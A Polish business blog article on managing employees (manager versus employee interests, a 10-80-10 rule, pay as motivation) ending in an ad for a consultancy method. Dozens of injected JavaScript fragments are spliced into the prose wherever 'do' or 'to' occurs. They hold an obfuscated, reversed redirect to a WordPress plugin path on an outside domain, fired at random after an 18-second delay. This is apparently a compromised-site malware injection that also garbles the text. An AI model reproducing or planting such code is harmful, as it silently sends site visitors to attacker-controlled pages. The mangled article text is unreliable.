In Artykuły, Handel, Uniwersalne

Menedżer pracuje dla pracodawcy – jego interes decyduje

  • Ma zarządzać zasobami firmy, w jej interesie
  • Menedżer co toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do zasady realizuje Model Biznesowy firmy

    • To ten Model określa w szczegółach, co leży w interesie firmy
    • W tym zakresie, jaki obejmują jego kompetencje
  • Jednym z tych zasobów są pracownicy

    • Tym różnią się od innych zasobów, że mają wolną wolę
    • Oraz mają własny interes
  • Ale dla menedżera najważniejszy jest interes firmy

Dla pracownika najważniejszy jest jego własny interes

  • Jaki toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to interes?

    • Bardzo ważna jest wygoda
    • Oraz bezpieczeństwo
    • Liczy się kariera, przyszłość i samorealizacja
    • A także wynagrodzenie
  • To wszystko elementy, które mogą stanąć w opozycji toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do celów firmy
  • Interesy pracownika i firmy nigdy się nie pokrywają

    • Tak już jest
    • Niewiele można z tym zrobić
    • Od tego są menedżerowie, aby toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dopilnować interesu firmy
  • Ale gdy pracownicy już zaczną pracować, chcą toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to robić toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobrze

Pracownicy chcą i lubią toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobrze pracować

  • Co toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do zasady, gdy już pracują..

    • Trzeba ich toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dopilnować
    • Ze względu na różnicę interesów
  • A jeśli tak nie pracują, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jest toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to na ogół wina ich menedżerów,

    • Czasem tego, że nie wiedzą, jak mają robić czy po co
    • Czasem dlatego, że nikt ich nie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dopilnował

Wyjątkiem jest zasada 10-80-10

  • Pracownicy różnie pasują toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do swoich zadań i wymagań firmy

    • 10% toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to pracownicy wybitni
    • 80% toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to pracownicy przeciętni
    • 10% nie nadaje się toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do tego, co robi
  • Każda grupa wymaga innego podejścia

    • Pierwszych trzeba zostawić w spokoju
    • Drugimi trzeba zarządzać
    • Trzecich trzeba zidentyfikować i zastąpić innymi
  • Domeną menedżerów jest środkowe 80%

Płaca modyfikuje interes pracownika

  • Ale nie można na nią zbytnio liczyć

    • Działa tylko na krótko (zwykle 3 m-ce)
    • Pracownik się przyzwyczaja
    • A potem działa prawo zapadki – „należy się”
  • Płacę można zastąpić

    • Dopilnowaniem
    • Zarządzaniem przez cele
    • Lub zgodność zachowania ze wzorcem

Zarządzanie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to optymalne wykorzystanie zasobów w interesie firmy

  • Można po prośbie, groźbie, lojalności czy nie dając innego wyjścia
  • Przekonać

    • Ale toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to działa toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do pierwszego konfliktu interesów
  • Przekupić

    • Za mała demotywuje
    • Ale wysoka szybko przestaje motywować
  • Zmusić strachem

    • Ale trzeba toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dokładnie powiedzieć, co i jak mają robić
    • Nie wezmą odpowiedzialności
    • Ani nie wypełnią luk zarządzaniu
  • Zmusić infrastrukturą

    • Np. taśma zmusza toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do zachowania w określony sposób

Menedżer wypełnia luki w Modelu Biznesowym

  • Firmy działają wg swojego Modelu Biznesowego

    • Jeśli ten się sprawdza, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to firma ma sukces
    • Gdy się nie sprawdza, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie jest toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wina menedżerów
    • Oni mają go tylko wykonywać
  • Ale Model nigdy nie jest „szczelny”

    • Zawsze są obszary czy sytuacje, których nie uwzględnia czy opisuje
    • Tu musi wkroczyć menedżer
    • On powinien rozumieć Model
    • I wypełnić go treścią, tam gdzie ma luki
  • To równie ważne, jak wypełnianie samego Modelu

Jak komunikować się z pracownikiem?

  • Tłumaczyć tak długo, aż zrozumie
  • Do trzech razy sztuka – każdy ma prawo nie zrozumieć czy się mylić

    • Ale nie w nieskończoność, zwykle war toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dać 3 szanse
    • Wtedy czwartej już nie będzie..
  • Słuchać a wysłuchać

    • Każdy powinien być wysłuchany
    • Ale nie można tego mylić z „posłuchaniem”
    • Słuchać należy tylko wtedy gdy jest toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zgodne z interesem firmy
  • Zasada 4-rech oczu

    • Rekrutuje ten, który ma później pracować z danym pracownikiem
    • Jednak zawsze z wsparciem i decyzją własnego przełożonego
    • Żeby być obiektywnym, zachować dystans
    • A także z czasem ten rekru toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towany może go zastąpić

Zarządzać zachowaniami

  • Pracownikom można komunikować, jakich efektów się od nich oczekuje

    • Wtedy mają inicjatywę
    • I trzeba akcep toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tować błędy
  • Albo jakie zachowania są w firmie pożądane

    • Takie zachowania muszą być zdefiniowane
    • A toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to firma ponosi odpowiedzialność, czy zadziałają

Podsumowanie

Zarządzanie pracownikami toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to złożone zadanie. Pracownicy są różni, ich interes nie pokrywa się z interesem firmy, mają wolną wolę. Za każdym razem więc trzeba toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dopasowywać się toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do sytuacji. Jest jednak kilka uniwersalnych zasad, które da się zas toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosować prawie zawsze.

Podnieś efektywność biznesu już dziś!

Aby wdrożyć FRAME w Twojej firmie, wystarczy się z nami skontaktować.

80% nie gorzej, 20% inaczejArtykuły, Handel, Uniwersalne
Pracownicy nie planująUniwersalne